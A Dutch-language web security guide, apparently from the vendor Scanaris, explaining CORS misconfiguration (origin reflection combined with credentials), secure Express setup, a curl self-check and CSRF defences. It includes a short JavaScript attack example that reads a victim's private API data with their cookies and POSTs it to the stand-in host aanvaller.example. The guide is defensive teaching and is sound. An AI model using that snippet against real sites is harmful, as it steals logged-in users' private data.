Je bouwt je app, de browser gooit een rode CORS-fout op je scherm, je zoekt op een forum of vraagt het de AI en kopieert de oplossing die belooft dat alles gaat werken. Het is meestal de slechtst mogelijke. Deze gids legt uit wat CORS echt is, wat het beschermt en wat niet, de exacte fout die de data van je gebruikers binnen bereik van elke website legt, hoe je het goed configureert met code en hoe je het van buitenaf controleert.
Wat CORS eigenlijk is
Standaard laat de browser een pagina op site-a.com niet het antwoord van een API op site-b.com lezen. Dat is de same-origin policy, en een origin is de combinatie van protocol, domein en poort: https://app.voorbeeld.nl en https://api.voorbeeld.nl zijn verschillende origins. Die regel beschermt je gebruikers: hij voorkomt dat een kwaadaardig tabblad data leest van een andere site waar ze zijn ingelogd.
CORS (Cross-Origin Resource Sharing) is het mechanisme waarmee je server die regel bewust versoepelt: met de header Access-Control-Allow-Origin zegt hij tegen de browser "deze specifieke origin mag het antwoord lezen". Voor aanvragen die niet eenvoudig zijn (een PUT, een JSON-body, een Authorization-header) stuurt de browser eerst een OPTIONS-controle, de preflight, en gaat alleen door als het antwoord dat toestaat.
Wat CORS niet beschermt
Goed om helder te hebben voordat je het instelt. CORS is een regel die browsers volgen, geen toegangscontrole op je API. Een aanvaller met curl, een script op een server of een mobiele app zijn niet aan CORS onderworpen: zij zien alles wat je API zonder sessie teruggeeft. Geeft een endpoint data af zonder te controleren wie er vraagt, dan lost CORS dat niet op; dat doet authenticatie. CORS beschermt één heel specifiek ding: dat een andere website niet de browser van je gebruiker, met zijn cookies, gebruikt om namens hem privédata te lezen.
De fout die alles kapotmaakt
Het gevaarlijke patroon is elke binnenkomende origin weerspiegelen en daarbovenop credentials toestaan:
Access-Control-Allow-Originmet de waarde van de vragende origin, welke dan ook (dynamische weerspiegeling), enAccess-Control-Allow-Credentials: true.
Met die combinatie kan elke website die je gebruiker bezoekt aanvragen doen naar je API met de sessiecookies van de gebruiker en het antwoord lezen. De aanval past in drie regels op de pagina van de aanvaller:
fetch('https://api.jouwdomein.nl/me', { credentials: 'include' })
.then(r => r.json())
.then(data => fetch('https://aanvaller.example/verzamel', { method: 'POST', body: JSON.stringify(data) }))
De gebruiker ziet niets: hij heeft alleen een pagina geopend. De wildcard * is minder erg omdat de browser weigert hem met credentials te combineren, maar op een API met privédata hoort hij evenmin thuis.
De manieren waarop deze fout in de code belandt zijn meestal onschuldig: in Express weerspiegelt cors({ origin: true, credentials: true }) elke origin; een slordige reguliere expressie als /jouwdomein.nl$/ accepteert evil-jouwdomein.nl; een lijst met null staat pagina's toe die vanuit lokale bestanden en geïsoleerde iframes zijn geopend; en "alles toestaan in ontwikkeling" eindigt in productie.
Hoe je het goed instelt
Denk in verdediging, niet in gemak. Houd een gesloten lijst met origins bij, vergelijk exact en geef de header alleen terug bij een match. In Express:
const ALLOWED = new Set([
'https://app.jouwdomein.nl',
'https://jouwdomein.nl',
])
app.use((req, res, next) => {
const origin = req.headers.origin
if (origin && ALLOWED.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin)
res.setHeader('Vary', 'Origin')
res.setHeader('Access-Control-Allow-Credentials', 'true')
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization')
res.setHeader('Access-Control-Max-Age', '600')
}
if (req.method === 'OPTIONS') return res.sendStatus(204)
next()
})
Vier details die ertoe doen. Vary: Origin voorkomt dat een CDN het antwoord voor de ene origin cachet en aan een andere serveert. Allow-Credentials alleen als je echt cookies tussen origins gebruikt; leven je API en je app op hetzelfde domein, dan heb je CORS niet eens nodig. Beperk methoden en headers tot wat je gebruikt. En beantwoord de OPTIONS met 204 zonder bedrijfslogica uit te voeren.
In Next.js leeft dezelfde code in een middleware of in elke route handler; in Nuxt in routeRules of een servermiddleware. Gebruik je Supabase of Firebase rechtstreeks vanuit de browser, dan regelen zij CORS zelf en is de echte barrière de databaseregels, niet deze header.
Publieke API's mogen de wildcard gebruiken
Serveert je API data die echt publiek is (een prijslijst, een catalogus) en gebruikt hij geen cookies, dan is Access-Control-Allow-Origin: * legitiem en maakt het het leven makkelijker voor wie hem gebruikt. De regel is om de wildcard, of de weerspiegeling, nooit te mengen met data die afhangt van de sessie van de gebruiker.
Waarom het moeilijk te ontdekken is
Deze fout is stil: alles werkt, er is geen zichtbare fout en de app oogt gezond. Je merkt het pas als iemand er misbruik van maakt, en zelfs dan laat het geen duidelijk spoor na in je logs, omdat de aanvragen binnenkomen met een geldige sessie. Daarom controleer je de CORS-configuratie het best expliciet bij elke deploy, in plaats van erop te vertrouwen dat "geen fout" "alles goed" betekent.
Hoe je het zelf controleert
Vraag een privé-endpoint van je API op alsof je van een andere site komt en bekijk de headers die terugkomen:
curl -s -I -H "Origin: https://evil.example" https://api.jouwdomein.nl/me | grep -i access-control
Geeft het antwoord Access-Control-Allow-Origin: https://evil.example terug samen met Access-Control-Allow-Credentials: true, dan heb je het probleem. Komt er voor een onbekende origin helemaal geen CORS-header terug, dan zit je goed. Herhaal met Origin: null en met een verzonnen subdomein van je eigen domein.
CORS vervangt geen CSRF-bescherming
Een aanvaller hoeft het antwoord niet te lezen om schade aan te richten: het is genoeg dat de aanvraag wordt uitgevoerd (een POST die het e-mailadres van het account wijzigt, bijvoorbeeld). Dat voorkom je met cookies met SameSite=Lax of Strict en, voor gevoelige formulieren, een anti-CSRF-token. CORS en SameSite zijn twee verschillende lagen; je wilt ze allebei.
Controleer je CORS met Scanaris
Scanaris controleert read-only hoe je site reageert op aanvragen van onbekende origins: of hij de origin weerspiegelt, of hij credentials toestaat en of hij de wildcard combineert met cookies. Het lanceert geen aanvallen en raakt je data niet aan: het observeert alleen het publieke antwoord, net als het commando hierboven. Vindt het een gevaarlijke configuratie, dan geeft het je een fixprompt zodat je AI hem herschrijft met een gesloten lijst. Het is een van de controles uit de lanceerchecklist; de overige onderdelen, headers incluis, staan in de gids over security headers.
Veelgestelde vragen
Waarom krijg ik lokaal een CORS-fout en in productie niet?
Omdat lokaal de frontend op localhost:3000 draait en de API op een andere poort: verschillende origins. In productie delen ze meestal een domein. Voeg de ontwikkelorigin alleen in de ontwikkelomgeving aan de lijst toe; weerspiegel nooit alles om "de fout weg te krijgen".
Kan ik meerdere origins in Access-Control-Allow-Origin zetten?
Nee, de header accepteert één waarde. Daarom vergelijk je de binnenkomende origin met de lijst en geef je alleen die ene terug, met Vary: Origin.
Kan een mobiele browser of een extensie CORS omzeilen?
Native apps en serverscripts zijn niet aan CORS onderworpen; extensies hebben eigen rechten. CORS beschermt de gebruiker in zijn normale browser, waar zijn cookies staan. De rest wordt beschermd door de authenticatie van je API.